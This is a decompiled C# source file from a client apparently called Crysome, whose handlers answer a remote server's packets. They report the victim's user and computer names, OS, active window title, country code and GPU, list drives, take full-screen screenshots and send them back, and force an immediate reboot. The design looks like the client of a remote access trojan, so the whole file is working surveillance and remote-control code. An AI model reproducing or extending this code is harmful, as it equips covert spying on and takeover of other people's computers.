81 lines
3.4 KiB
C#
81 lines
3.4 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.Drawing.Imaging;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Windows.Forms;
|
|
using Crysome.Client.Configuration;
|
|
using Crysome.Client.Inventory;
|
|
using Crysome.Client.SystemInfo;
|
|
using Crysome.Common.Network;
|
|
using Crysome.Common.Network.Packets;
|
|
using Crysome.Common.Network.Packets.Client;
|
|
using Crysome.Common.Network.Packets.Server;
|
|
|
|
namespace Crysome.Client.Handlers;
|
|
|
|
public static class SystemHandlers
|
|
{
|
|
public static void HandleGetSystemInfo(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_002f: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0039: Expected O, but got Unknown
|
|
Crysome.Client.SystemInfo.SystemInformation systemInformation = Crysome.Client.SystemInfo.SystemInformation.Get();
|
|
client.SendPacket((IPacket)new GetSystemInfoResponsePacket(ClientConfiguration.Identifier, client.LocalAddress.ToString(), client.Port, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem));
|
|
}
|
|
|
|
public static void HandleClientInfo(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_0070: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_007a: Expected O, but got Unknown
|
|
Crysome.Client.SystemInfo.SystemInformation systemInformation = Crysome.Client.SystemInfo.SystemInformation.Get();
|
|
client.SendPacket((IPacket)new ClientInfoResponsePacket(ClientConfiguration.Identifier, (client.RemoteAddress != null) ? client.RemoteAddress.Address.ToString() : "0.0.0.0", (client.RemoteAddress != null) ? client.RemoteAddress.Port : 0, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem, systemInformation.ActiveWindowTitle, systemInformation.Uptime, systemInformation.CountryCode, ClientConfiguration.Group, systemInformation.GPU));
|
|
InventoryReportBuilder.OnClientInfoPoll(client);
|
|
}
|
|
|
|
public static void HandleGetDrives(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_0046: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0050: Expected O, but got Unknown
|
|
long num = 0L;
|
|
GetDrivesRequestPacket val = (GetDrivesRequestPacket)(object)((packet is GetDrivesRequestPacket) ? packet : null);
|
|
if (val != null)
|
|
{
|
|
num = val.RequestId;
|
|
}
|
|
string[] array = (from d in DriveInfo.GetDrives()
|
|
select d.Name).ToArray();
|
|
client.SendPacket((IPacket)new GetDrivesResponsePacket(array, num));
|
|
}
|
|
|
|
public static void HandleTakeScreenshot(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_00a5: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_00af: Expected O, but got Unknown
|
|
byte[] array = null;
|
|
try
|
|
{
|
|
Rectangle bounds = Screen.PrimaryScreen.Bounds;
|
|
using Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
|
|
using (Graphics graphics = Graphics.FromImage(bitmap))
|
|
{
|
|
graphics.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size, CopyPixelOperation.SourceCopy);
|
|
}
|
|
using MemoryStream memoryStream = new MemoryStream();
|
|
bitmap.Save(memoryStream, ImageFormat.Png);
|
|
array = memoryStream.ToArray();
|
|
}
|
|
catch (Exception)
|
|
{
|
|
array = new byte[0];
|
|
}
|
|
client.SendPacket((IPacket)new TakeScreenshotResponsePacket(array ?? new byte[0]));
|
|
}
|
|
|
|
public static void HandleRestart(CrysomeClient client, IPacket packet)
|
|
{
|
|
Process.Start("shutdown.exe", "-r -t 00");
|
|
}
|
|
}
|